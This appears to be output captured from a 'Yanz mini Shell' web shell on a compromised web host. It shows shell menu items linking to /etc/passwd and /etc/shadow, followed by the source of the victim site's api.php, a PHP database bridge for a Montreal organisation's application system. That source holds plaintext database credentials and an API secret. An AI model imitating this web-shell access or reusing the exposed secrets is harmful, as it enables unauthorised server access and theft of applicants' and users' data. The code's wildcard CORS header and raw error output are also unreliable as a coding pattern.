Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
// api.php - Backend Bridge for CAN Montreal React App
// Upload this file to your cPanel public_html folder

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: Content-Type");
header("Content-Type: application/json");

// --- CONFIGURATION ---
$DB_HOST = 'localhost';
$DB_NAME = 'cafcopro_canmtl_db'; // Change this
$DB_USER = 'cafcopro_dbadmin'; // Change this
$DB_PASS = 'hYOH!82wt.2A'; // Change this
$API_SECRET = '84}EcNy]9Wq&7f|$e@xJb*Dd%!JqkwTS';

// Handle Preflight
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { exit(0); }

$input = json_decode(file_get_contents('php://input'), true);
if (!$input || ($input['secret'] ?? '') !== $API_SECRET) {
    http_response_code(401);
    echo json_encode(['status' => 'error', 'message' => 'Unauthorized']);
    exit;
}

try {
    $pdo = new PDO("mysql:host=$DB_HOST;dbname=$DB_NAME;charset=utf8", $DB_USER, $DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $action = $_GET['action'] ?? '';

// INIT TABLE IF NOT EXISTS (One time helper)
    if ($action === 'init') {
        $pdo->exec("CREATE TABLE IF NOT EXISTS applications (
            id VARCHAR(50) PRIMARY KEY,
            data JSON,
            status VARCHAR(20),
            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
        )");
        $pdo->exec("CREATE TABLE IF NOT EXISTS users (
            id VARCHAR(50) PRIMARY KEY,
            data JSON
        )");
         echo json_encode(['status' => 'success', 'message' => 'Tables Initialized']);
         exit;
    }

if ($action === 'test_connection') {
        echo json_encode(['status' => 'success']);
    } 
    elseif ($action === 'get_applications') {
        $stmt = $pdo->query("SELECT data FROM applications ORDER BY updated_at DESC");
        $apps = [];
        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
            $apps[] = json_decode($row['data']);
        }
        echo json_encode(['status' => 'success', 'applications' => $apps]);
    }
    elseif ($action === 'save_application') {
        $app = $input['application'];
        $stmt = $pdo->prepare("REPLACE INTO applications (id, data, status) VALUES (?, ?, ?)");
        $stmt->execute([$app['id'], json_encode($app), $app['status']]);
        echo json_encode(['status' => 'success']);
    }
    elseif ($action === 'update_status') {
        $id = $input['id'];
        $status = $input['status'];
        // Update JSON and Column
        $stmt = $pdo->prepare("UPDATE applications SET status = ?, data = JSON_SET(data, '$.status', ?) WHERE id = ?");
        $stmt->execute([$status, $status, $id]);
        echo json_encode(['status' => 'success']);
    }
    elseif ($action === 'get_users') {
        $stmt = $pdo->query("SELECT data FROM users");
        $users = [];
        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
            $users[] = json_decode($row['data']);
        }
        echo json_encode(['status' => 'success', 'users' => $users]);
    }
    elseif ($action === 'save_user') {
        $user = $input['user'];
        $stmt = $pdo->prepare("REPLACE INTO users (id, data) VALUES (?, ?)");
        $stmt->execute([$user['id'], json_encode($user)]);
        echo json_encode(['status' => 'success']);
    }
    elseif ($action === 'delete_user') {
        $stmt = $pdo->prepare("DELETE FROM users WHERE id = ?");
        $stmt->execute([$input['id']]);
        echo json_encode(['status' => 'success']);
    }
    else {
        echo json_encode(['status' => 'error', 'message' => 'Invalid Action']);
    }

} catch (PDOException $e) {
    http_response_code(500);
    echo json_encode(['status' => 'error', 'message' => 'Database Error: ' . $e->getMessage()]);
}
?>